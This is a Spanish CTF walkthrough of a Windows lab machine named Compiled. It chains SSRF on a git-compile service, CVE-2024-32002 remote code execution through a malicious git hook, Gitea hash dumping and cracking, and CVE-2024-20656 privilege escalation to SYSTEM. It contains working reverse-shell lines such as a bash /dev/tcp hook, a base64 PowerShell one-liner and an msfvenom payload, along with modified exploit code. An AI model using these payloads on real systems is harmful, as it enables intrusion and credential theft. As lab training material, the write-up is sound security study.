Compiled
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR.Compiledes una cajaWindowsque ofrece un servicio de compilación de código a partir de unaURLde repositoriogit. Apuntar esaURLa nuestra máquina (SSRF) filtra la versión degit:2.45.0.windows.1, vulnerable a CVE-2024-32002. Con dos repos en elGitealocal (submódulo + symlink) plantamos un git hook que se ejecuta al clonar y nos da shell comorichard. Su acceso a la base de datos deGiteadeja volcar hashes; crackeamos el deemily(cracking) y entramos porWinRM. Para root, la caja tieneVisual Studio: abusamos del servicioVSStandardCollectorService150que corre comoSYSTEM(CVE-2024-20656), lanzando el exploit con RunasCs.
Reconocimiento
Escaneo inicial
ping -c 1 10.10.11.26
64 bytes from 10.10.11.26: icmp_seq=1 ttl=127 time=115 msTTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
El barrido UDP de los 1000 puertos más comunes va primero, porque es el que casi nadie hace y a veces regala un servicio:
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 1000 10.10.11.26 | grep -v 'no-response'
Completed UDP Scan at 22:33, 2.21s elapsed (1000 total ports)
Nmap scan report for 10.10.11.26
Host is up, received user-set.
PORT STATE SERVICE REASON
Nmap done: 1 IP address (1 host up) scanned in 2.31 seconds
Raw packets sent: 2090 (98.700KB) | Rcvd: 0 (0B)Tabla vacía y Rcvd: 0 (0B): nada por UDP. El TCP completo sí deja tres puertos:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.26 -oG scan
Discovered open port 5985/tcp on 10.10.11.26
Discovered open port 3000/tcp on 10.10.11.26
Discovered open port 5000/tcp on 10.10.11.26
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
3000/tcp open ppp syn-ack ttl 127
5000/tcp open upnp syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127Los nombres de servicio que pone nmap aquí (ppp, upnp, wsman) salen de su tabla estática de puertos, no de la respuesta real: solo el wsman del 5985 acierta. Los tres se pasan al siguiente comando con extractPorts:
extractPorts scan
Extracting information ...
IP Address: 10.10.11.26
Open ports: 3000,5000,5985
Ports copied to clipboard
File: extractPorts.tmp
1 IP Address: 10.10.11.26
2 Open ports: 3000,5000,5985nmap -p3000,5000,5985 -sCV 10.10.11.26
PORT STATE SERVICE VERSION
3000/tcp open http Golang net/http server
|_http-title: Git
| fingerprint-strings:
| GetRequest:
| HTTP/1.0 200 OK
| Set-Cookie: i_like_gitea=475db53be2d54235; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=YoET2GXQU44Gxd3QC8Ai6UvMpMw6MTc2NjUxMDY2Mjk4NDk3MDYwMA; Path=/; Max-Age=86400
| X-Frame-Options: SAMEORIGIN
|_ <title>Git</title>
5000/tcp open http Werkzeug httpd (Python)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)La continuación de esa misma salida da las versiones exactas de los otros dos:

5000/tcp open http Werkzeug httpd 3.0.3 (Python 3.12.3)
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
|_http-title: Compiled - Code Compiling Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
1 service unrecognized despite returning data.Merece la pena leer despacio lo que devuelve el 3000, porque nmap no dice "Gitea": dice Golang net/http server, que es solo el lenguaje del servidor. Quien lo identifica es un detalle de la respuesta, la cookie i_like_gitea, que es la de sesión de ese producto. Es un buen ejemplo de por qué conviene mirar el fingerprint-strings entero y no quedarse en la columna VERSION.
Así que tenemos un Gitea (servidor git con interfaz web), una aplicación Flask/Werkzeug y WinRM. El WinRM abierto importa: si conseguimos credenciales de un usuario del grupo adecuado, tendremos shell directa.
HTTP - TCP 3000 y 5000: el servicio de compilación
Confirmamos la identificación de los dos servicios web antes de tocarlos:
whatweb http://10.10.11.26:3000
whatweb http://10.10.11.26:5000
http://10.10.11.26:3000 [200 OK] Cookies[_csrf,i_like_gitea], HTML5, HttpOnly[_csrf,i_like_gitea],
IP[10.10.11.26], Meta-Author[Gitea - Git with a cup of tea], Open-Graph-Protocol[website],
PoweredBy[Gitea], Script, Title[Git], X-Frame-Options[SAMEORIGIN]
http://10.10.11.26:5000 [200 OK] Bootstrap[4.5.2], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.12.3],
IP[10.10.11.26], JQuery, Python[3.12.3], Script, Title[Compiled - Code Compiling Services],
Werkzeug[3.0.3]Wappalyzer coincide en los dos puertos, lo que ya adelanta que comparten plantilla:

Development Gitea
Programming languages Go
JavaScript frameworks GSAP, Vue.js
JavaScript libraries core-js 3.22.8, jQuery 3.7.1
UI frameworks Bootstrap 4.5.2
El código fuente de ambos completa el cuadro. El del 3000 filtra dos datos que whatweb no da: la versión de Gitea y el nombre interno con el que está configurado:

<title>Git</title>
<meta name="author" content="Gitea - Git with a cup of tea">
<meta name="description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">
window.config = {
appUrl: 'http:\/\/gitea.compiled.htb:3000\/',
assetVersionEncoded: encodeURIComponent('1.21.6'),Gitea 1.21.6 y el dominio interno gitea.compiled.htb. El del 5000 enseña el formulario y, sobre todo, el nombre del parámetro que habrá que atacar:

<h2 class="mb-4">Compile your code</h2>
<form method="post" action="/">
<div class="form-group">
<label for="repo_url">Enter Git Repository URL:</label>
<input type="text" id="repo_url" name="repo_url" class="form-control col-md-6 mx-auto">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>Ahora sí: PoweredBy[Gitea] cierra la identificación del 3000, y el título del 5000 (Compiled - Code Compiling Services) adelanta para qué sirve. Un dirsearch contra el Gitea saca sus rutas habituales:
dirsearch -u http://10.10.11.26:3000/ --exclude-status=403,404
[15:12:28] 303 - 38B - /admin -> /user/login
[15:12:36] 200 - 16KB - /administrator
[15:12:39] 200 - 704B - /api/swagger
[15:12:54] 303 - 41B - /explore -> /explore/repos
[15:12:54] 200 - 18KB - /explore/repos
[15:13:31] 200 - 11KB - /user/login/
[15:13:32] 401 - 50B - /v2/Nada explotable de entrada (todo lleva al login), pero /explore/repos queda anotado: es la vista pública de repositorios, y en un Gitea mal configurado es donde aparece el código que no debería. Contra el 5000 el mismo barrido no saca nada:
dirsearch -u http://10.10.11.26:5000/ --exclude-status=403,404 2>/dev/null
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://10.10.11.26:5000/
[15:16:13] Starting:
Task CompletedNi una ruta. Así que lo exploramos a mano:

La aplicación del 5000 compila proyectos C++/C#/.NET a partir de una URL de repositorio git. Al enviar un valor de ejemplo, la propia validación cuenta cómo espera la entrada:

Invalid Git repository URL. It must start with "http://" and end with ".git".Exige que empiece por http:// y acabe en .git. Un servicio que va a clonar lo que le demos es un candidato claro a SSRF y, según qué versión de git use, a RCE.
Explotación
TCP 5000: SSRF y fuga de la versión de git
Apuntamos la URL a nuestra máquina con un listener en escucha. En vez de un servidor HTTP de Python usamos nc, que muestra las cabeceras crudas de la petición entrante (SSRF):
nc -nlvp 80
# en la web: http://10.10.16.4/x.git
GET /x.git/info/refs?service=git-upload-pack HTTP/1.1
User-Agent: git/2.45.0.windows.1El servidor nos visita y revela la pieza clave: usa git 2.45.0.windows.1. Buscar esa versión exacta devuelve siempre el mismo identificador:

Git SCM affected by CVE-2024-32002 (invicti.com)
Exploiting CVE-2024-32002: RCE via git clone (amalmurali.me)
A proof of concept for the git vulnerability CVE-2024-32002 (github.com/amalmurali47)
Vulnerability Details CVE-2024-32002 GIT (cvedetails.com)Esa versión arrastra CVE-2024-32002, una RCE que se dispara al clonar recursivamente un repositorio malicioso.
TCP 3000 y 5000: RCE vía CVE-2024-32002
CVE-2024-32002 aprovecha el manejo de submódulos y symlinks en sistemas de ficheros insensibles a mayúsculas (Windows): con dos repos bien montados, git escribe un hook dentro de .git/hooks/ y lo ejecuta durante el propio clone, sin interacción de la víctima.

El artículo trae además la prueba de concepto completa, que es el guion que vamos a seguir paso a paso (cambiando su calc.exe por una reverse shell):

#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "amal_was_here" > /tmp/pwnd
calc.exe
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
hook_repo_path="$(pwd)/hook"
# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"La única diferencia con nuestro caso es que el PoC usa repositorios locales ($(pwd)/hook) y aquí hay que publicarlos en el Gitea de la víctima, para que el servicio de compilación pueda clonarlos.
El registro está abierto, así que nos creamos una cuenta:

Register
Username : test
Email Address : test@test.com
Password / Confirm Password
[Register Account]Ya dentro, /explore/repos enseña lo que hay publicado, y de paso un nombre de usuario del sistema:

Repositories
richard / Compiled Python
richard / Calculator Yet a simple C++ calculator to run on CMD or PowerShell. C++richard es el dueño de los dos repositorios: un usuario del sistema al que apuntar. Ahora los nuestros. El primero, hook:


git clone http://10.10.11.26:3000/test/hook
cd hook
ls -la
Cloning into 'hook' ...
warning: You appear to have cloned an empty repository.
total 12
drwxr-xr-x 3 root root 4096 Dec 23 16:22 .
drwxr-xr-x 5 root root 4096 Dec 23 16:22 ..
drwxr-xr-x 6 root root 4096 Dec 23 16:22 .gitDentro va el payload en hooks/post-checkout:
mkdir -p y/hooks
cat > y/hooks/post-checkout <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.4/4444 0>&1
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
[main (root-commit) deddc9d] post-checkoutgit push
Username for 'http://10.10.11.26:3000': test
Password for 'http://test@10.10.11.26:3000':
Enumerating objects: 5, done.
Writing objects: 100% (5/5), 337 bytes | 337.00 KiB/s, done.
To http://10.10.11.26:3000/test/hook
* [new branch] main -> mainA diferencia del PoC, la ruta del repositorio de hooks no es local sino la URL del Gitea:

hook_repo_path="http://10.10.11.26:3000/test/hook"El segundo repositorio, captain, se crea igual que el anterior:

New Repository
Owner * test
Repository Name * captain
Visibility [ ] Make repository private
Description (Enter short description (optional))
Template Select a template.
Issue Labels Select an issue label set.
.gitignore Select .gitignore templates.Añade un submódulo que apunta a hook y un symlink que redirige A/modules/x hacia .git, de modo que el hook acabe en .git/hooks/ (RCE por git hooks):
git clone http://10.10.11.26:3000/test/captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
Cloning into '/home/krmena/machines/compiled/content/captain/A/modules/x' ...
remote: Enumerating objects: 5, done.
remote: Total 5 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (5/5), done.
[main (root-commit) ddaaff2] add-submoduleEl symlink no se crea con ln, sino escribiéndolo directamente en el índice de git: se guarda el texto .git como un objeto y se registra ese objeto con el modo 120000, que es como git marca un enlace simbólico.
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
[main 8373542] add-symlinkgit push
Enumerating objects: 8, done.
Writing objects: 100% (8/8), 594 bytes | 297.00 KiB/s, done.
To http://10.10.11.26:3000/test/captain
* [new branch] main -> mainShell como richard
Nos ponemos a la escucha en el 4444 (el puerto del hook post-checkout). En vez de un nc pelado usamos Penelope (repo), un manejador de reverse shells que acepta varias sesiones a la vez e intenta mejorarlas a PTY automáticamente:
penelopeEntregamos al servicio del 5000 la URL del repo captain. Al clonarlo de forma recursiva, se ejecuta el post-checkout:

Your git repository is being cloned for compilation.
[+] Listening for reverse shells on 0.0.0.0:4444
[+] Got reverse shell from COMPILED~10.10.11.26-MINGW64_NT-10.0-19045-x86_64
[+] Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[!] Cannot upgrade shell with the available binaries ...
[+] Interacting with session [1], Shell Type: Readline
Richard@COMPILED MINGW64 ~/source/cloned_repos/31bp8/.git/modules/x
$ whoami
RichardLa shell que llega es la de MINGW64, el entorno de Git for Windows, y no se deja mejorar a PTY. Para trabajar cómodos conviene saltar a una PowerShell, y el one-liner se saca ya codificado de revshells.com:

IP: 10.10.16.4 Port: 1234
PowerShell #3 (Base64)
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0A...Ese powershell -e se pega en la sesión de Penelope con un nc a la escucha en el 1234:
rlwrap nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.26] 63853
PS C:\Users\Richard\Desktop> whoami
RichardEl hook se ejecuta en el contexto del servicio de compilación: somos compiled\richard.
Acceso como emily
La base de datos de Gitea
Explorando el sistema desde la raíz, C:\Program Files ya delata quién vive aquí:
dir C:\
cd PROGRA~1
dir
Directory: C:\
d---- 5/24/2024 4:36 PM app
d-r-- 5/24/2024 8:10 PM Program Files
d-r-- 5/22/2024 7:56 PM Users
Directory: C:\Program Files
d---- 5/23/2024 3:34 PM Git
d---- 5/22/2024 8:01 PM Gitea
d---- 5/24/2024 3:43 PM Python312Gitea guarda todo su estado en un subdirectorio data, y ahí está la base de datos:
cd Gitea
dir
cd data
dir
Directory: C:\Program Files\Gitea
d---- 5/22/2024 8:01 PM custom
d---- 12/23/2025 5:40 PM data
d---- 5/22/2024 8:01 PM log
-a--- 5/22/2024 7:42 PM 208024735 gitea.exe
Directory: C:\Program Files\Gitea\data
d---- 12/23/2025 5:21 PM gitea-repositories
d---- 12/23/2025 5:16 PM sessions
-a--- 12/23/2025 5:40 PM 2023424 gitea.dbPara analizarla con calma se trae al atacante por SMB, montando el recurso con credenciales (un smbserver.py sin autenticación lo rechazan las políticas modernas de Windows):
smbserver.py smbFolder $(pwd) -smb2support -username kmn9 -password kmn9123net use \\10.10.16.4\smbFolder /u:kmn9 kmn9123
copy gitea.db \\10.10.16.4\smbFolder
C:\Program Files\Gitea\data> net use \\10.10.16.4\smbFolder /u:kmn9 kmn9123
The command completed successfully.
C:\Program Files\Gitea\data> copy gitea.db \\10.10.16.4\smbFolder
# ls
Calculator captain gitea.db hookYa en local, sqlite3 abre la base y enseña sus tablas:
sqlite3 gitea.db
.tables
SQLite version 3.46.1 2024-08-13 09:16:08
sqlite> .tables
access org_user package_version
access_token package project
action package_blob protected_branch
...La que importa es user, que guarda los hashes de contraseña:

Gitea guarda el salt y el passwd en hexadecimal, mientras que hashcat espera el formato sha256:<iteraciones>:<salt_b64>:<digest_b64>. La conversión no es invención propia: está documentada en el foro del propio hashcat.

$salt = base64_encode (substr ($phpass_hash, 7, 8));
$digest = convert_base64 (substr ($phpass_hash, 16));
echo "sha256:$iterations:$salt:$digest\n";
sha256:4096:bEJJem5JcTI=:mvW7jv+5py4wiLhB7AnGUN3xJmKw6Z1c
which can be cracked with -m 10900Con esa plantilla, un while traduce las tres columnas de un tirón:
sqlite3 gitea.db "select name,passwd,salt from user" | while read line; do \
salt="$(echo $line | awk '{print $3}' FS='|' | xxd -p -r | base64)"; \
digest="$(echo $line | awk '{print $2}' FS='|' | xxd -p -r | base64)"; \
username="$(echo $line | awk '{print $1}' FS='|')"; \
echo "${username}:sha256:50000:${salt}:${digest}"; done | tee hashes
administrator:sha256:50000:pFxD023OMHYVixnCxpbvew==:G/CpVhzwdsX8DXbhQHiKkbUoFgnDhHkYOf1umZbTu/XJG47ua9UIHkIIXtC+d5wu+G0=
richard:sha256:50000:188slid90W2V7Vwzu1JLYg==:S0tTdm/pRufikbEG/Nb0lik0EW7JrHipmzv2sGz4Voqu3SZ+wCs5rrJE2D+4uJwkO14=
emily:sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=
test:sha256:50000:0ZFcoZSjh3TUvIK7NXfqHw==:VDlhulu1Mj1CVo3Q7Sg6DIKX8ukqVYU93uGNM8wZ5fJ+ld3lQ4mp+8ACvBElqxRd94U=Cuatro cuentas: administrator, richard, emily y nuestro test.
Crackear el hash de emily
hashcat autodetecta el modo 10900 (PBKDF2-HMAC-SHA256) y rompe la contraseña de emily (cracking de hashes):
hashcat hashes /usr/share/wordlists/rockyou.txt --user
hashcat (v7.1.2) starting in autodetect mode
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
10900 | PBKDF2-HMAC-SHA256 | Generic KDF
Hashes: 4 digests; 4 unique digests, 4 unique salts
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344396hashcat hashes --show --user
emily:sha256:50000:...:...:12345678La contraseña de emily es 12345678. Como el WinRM (5985) está abierto, entramos con evil-winrm y leemos la flag de usuario:
evil-winrm -i 10.10.11.26 -u 'emily' -p '12345678'
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Emily\Documents> whoami
compiled\emily
*Evil-WinRM* PS C:\Users\Emily\Documents> ipconfig
Ethernet adapter Ethernet0 2:
IPv4 Address. . . . . . . . . . . : 10.10.11.26
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : 10.10.10.2type ..\desktop\user.txt
*Evil-WinRM* PS C:\Users\Emily\Documents> type ..\desktop\user.txt
9b3b4a0ba806220a0db474a216dcfe63Escalada de privilegios
La pista: Visual Studio
Una nota en el repositorio del servicio insiste en "mantener Visual Studio actualizado a la última versión". No es relleno: apunta a una vulnerabilidad parcheada de VS, y en efecto la caja tiene VS instalado.

La nota se comprueba enseguida: Visual Studio está instalado.
cd PROGRA~2
dir
Directory: C:\Program Files (x86)
d---- 1/20/2024 1:50 AM Microsoft
d---- 7/16/2024 2:45 PM Microsoft SDKs
d---- 1/20/2024 10:13 AM Microsoft Visual Studio
d---- 1/20/2024 1:59 AM Microsoft.NET
d---- 1/20/2024 1:52 AM MSBuildDentro, la carpeta 2019 da la edición y el Installer trae la herramienta que da la versión exacta:
cd "Microsoft Visual Studio"
dir
cd Installer
dir
Directory: C:\Program Files (x86)\Microsoft Visual Studio
d---- 1/29/2024 9:07 PM 2019
d---- 1/20/2024 1:57 AM Installer
d---- 1/20/2024 2:04 AM Shared& "C:\Program Files (x86)\Microsoft Visual Studio\Installer\vswhere.exe" -property catalog_productDisplayVersion
16.10.0Visual Studio 2019, versión 16.10.0, muy por detrás de la que el propio README pedía mantener al día.
CVE-2024-20656: VSStandardCollectorService150 como SYSTEM
Al instalar VS con soporte de C/C++ se crea el servicio VSStandardCollectorService150, que corre como LocalSystem y arranca bajo demanda. El primer intento de consultarlo desde la sesión de WinRM falla:
sc.exe qc VSStandardCollectorService150
[SC] OpenService FAILED 5:
Access is denied.Ese Access is denied no es un callejón sin salida, es el primer aviso de lo que dará problemas al final: el token de la sesión WinRM no tiene los mismos permisos que una sesión interactiva. Relanzando la consulta con RunasCs sí responde:

SERVICE_NAME: VSStandardCollectorService150
BINARY_PATH_NAME : "C:\Program Files (x86)\Microsoft Visual Studio\Shared\Common\DiagnosticsHub.Collection.Service\StandardCollector.Service.exe"
SERVICE_START_NAME : LocalSystemCVE-2024-20656 abusa de las operaciones de fichero de ese servicio combinándolas con junctions y reparse points para ejecutar un binario propio como SYSTEM:

Compilar el exploit y obtener SYSTEM
La prueba de concepto está publicada, y su README remite al artículo de MDSec que explica el fallo:

Wh04m1001 / CVE-2024-20656
Expl/ Update main.cpp
README.md PoC for EoP in VSStandardCollectorService150 service
https://www.mdsec.co.uk/2024/01/cve-2024-20656-local-privilege-escalation-in-vsstandardcollectorservice150-service/
Languages: C++ 100.0%Es C/C++, así que hay que compilarlo, y para eso hace falta una máquina con Visual Studio. Se clona en un Windows de laboratorio:
git clone https://github.com/Wh04m1001/CVE-2024-20656
Cloning into 'CVE-2024-20656'...
remote: Enumerating objects: 24, done.
Receiving objects: 100% (24/24), 13.08 KiB | 191.00 KiB/s, done.
El código trae dos rutas que hay que ajustar. La primera, al principio de main.cpp, apunta al binario de diagnóstico que el servicio ejecutará, y viene puesta para VS 2022:

WCHAR cmd[] = L"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Team Tools\\Diagnostics...";La víctima tiene VS 2019 en Program Files (x86), así que la ruta se corrige:

WCHAR cmd[] = L"C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";La segunda ruta está en la función cb1(), y es la que decide qué binario se copia en el sitio privilegiado: ahí es donde se enchufa nuestra reverse shell.

void cb1()
{
printf("[*] Oplock!\n");
while (!Move(hFile2)) {}
printf("[+] File moved!\n");
CopyFile(L"c:\\ProgramData\\reverse.exe",
L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);
finished = TRUE;
}Con las dos rutas ajustadas se compila en modo Release x64:

1> Expl.vcxproj -> C:\Users\usuario\Desktop\CVE-2024-20656\Expl\x64\Release\Expl.exe
========== Compilación: 1 correcto, 0 erróneo, 0 actualizado, 0 omitido ==========
========== Compilar completado a las 3:12 y tardó 13,898 segundos ==========El binario recién compilado vuelve al Kali por SMB, igual que vino la base de datos:
smbserver.py smbfolder $(pwd) -smb2supportnet use \\192.168.1.80\smbfolder
copy Expl.exe \\192.168.1.80\smbfolder
C:\...\Expl\x64\Release>copy Expl.exe \\192.168.1.80\smbfolder
1 archivo(s) copiado(s).
# ls
Expl.exe RunasCs.exe RunasCs.zip RunasCs_net2.exe reverse.exeGeneramos el payload de reverse shell con msfvenom y subimos a la caja los tres binarios:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.4 LPORT=4443 -f exe -o reverse.exe
python3 -m http.server 80wget http://10.10.16.4/Expl.exe -outfile Expl.exe
*Evil-WinRM* PS C:\ProgramData> wget http://10.10.16.4/Expl.exe -outfile Expl.exe
10.10.11.26 - - [24/Dec/2025 02:23:54] "GET /Expl.exe HTTP/1.1" 200 -
*Evil-WinRM* PS C:\ProgramData> dir
Mode LastWriteTime Length Name
-a--- 12/24/2025 3:23 AM 172032 Expl.exe
-a--- 12/24/2025 3:26 AM 7680 reverse.exe
-a--- 12/24/2025 2:20 AM 51712 Runas.exeCon wget desde la sesión Evil-WinRM traemos los tres binarios a C:\ProgramData: el Expl.exe (exploit compilado), el reverse.exe (payload de msfvenom, 7680 bytes) y Runas.exe (RunasCs).
Con nc a la escucha en el 4443 (el LPORT de reverse.exe):
rlwrap nc -nlvp 4443El detalle final: la sesión de WinRM usa un logon de red, cuyo token no basta para que el exploit hable con el COM del servicio. Lo relanzamos con un logon interactivo usando RunasCs (RunasCs) y las credenciales de emily:
.\Runas.exe emily 12345678 "cmd /c C:\ProgramData\Expl.exe"
El exploit dispara el servicio SYSTEM, que ejecuta el payload, y recibimos la reverse shell como nt authority\system:
C:\ProgramData\Microsoft\VisualStudio\SetupWMI> whoami
nt authority\system
C:\>type C:\users\administrator\desktop\root.txt
e6b5363d8a2d8175e4d1a9425bdea04bCadena de ataque
HTTP 5000 (servicio de compilación, clona git URLs)
└── SSRF: apuntar la URL a nuestra IP ── fuga de versión git 2.45.0.windows.1
└── CVE-2024-32002 (submódulo + symlink en Gitea 3000)
└── git hook post-checkout al clonar ── RCE como richard
└── gitea.db (PBKDF2) → hashcat crackea emily:12345678
└── WinRM como emily (user.txt)
└── VSStandardCollectorService150 (SYSTEM) + CVE-2024-20656
└── RunasCs (logon interactivo) lanza Expl.exe ── SYSTEM (root.txt)Lecciones aprendidas
- Un servicio que clona lo que le das es SSRF antes que RCE. Apuntar la
URLa nuestra máquina y leer las cabeceras conncfiltró la versión exacta degit, y esa versión dio elCVE. ncenseña más que un servidor HTTP. ElUser-Agentcon la versión del cliente viaja en las cabeceras crudas; unpython -m http.serverrecibe la conexión pero no las muestra igual de claras.- CVE-2024-32002 convierte un clone en RCE. El truco de submódulo + symlink escribe un hook en
.git/hooks/que se ejecuta durante el propioclone, sin interacción de la víctima. - Las bases de datos de aplicaciones son un botín. La
gitea.dbaccesible porrichardcontenía los hashes de todos los usuarios; crackear el deemilyabrió elWinRM. - Las pistas del enunciado cuentan. "Actualiza Visual Studio" señalaba el vector de root: un servicio de VS corriendo como
SYSTEMy vulnerable aCVE-2024-20656. - El tipo de logon importa. El token de red de
WinRMno bastaba para el exploit;RunasCscon un logon interactivo le dio el contexto necesario.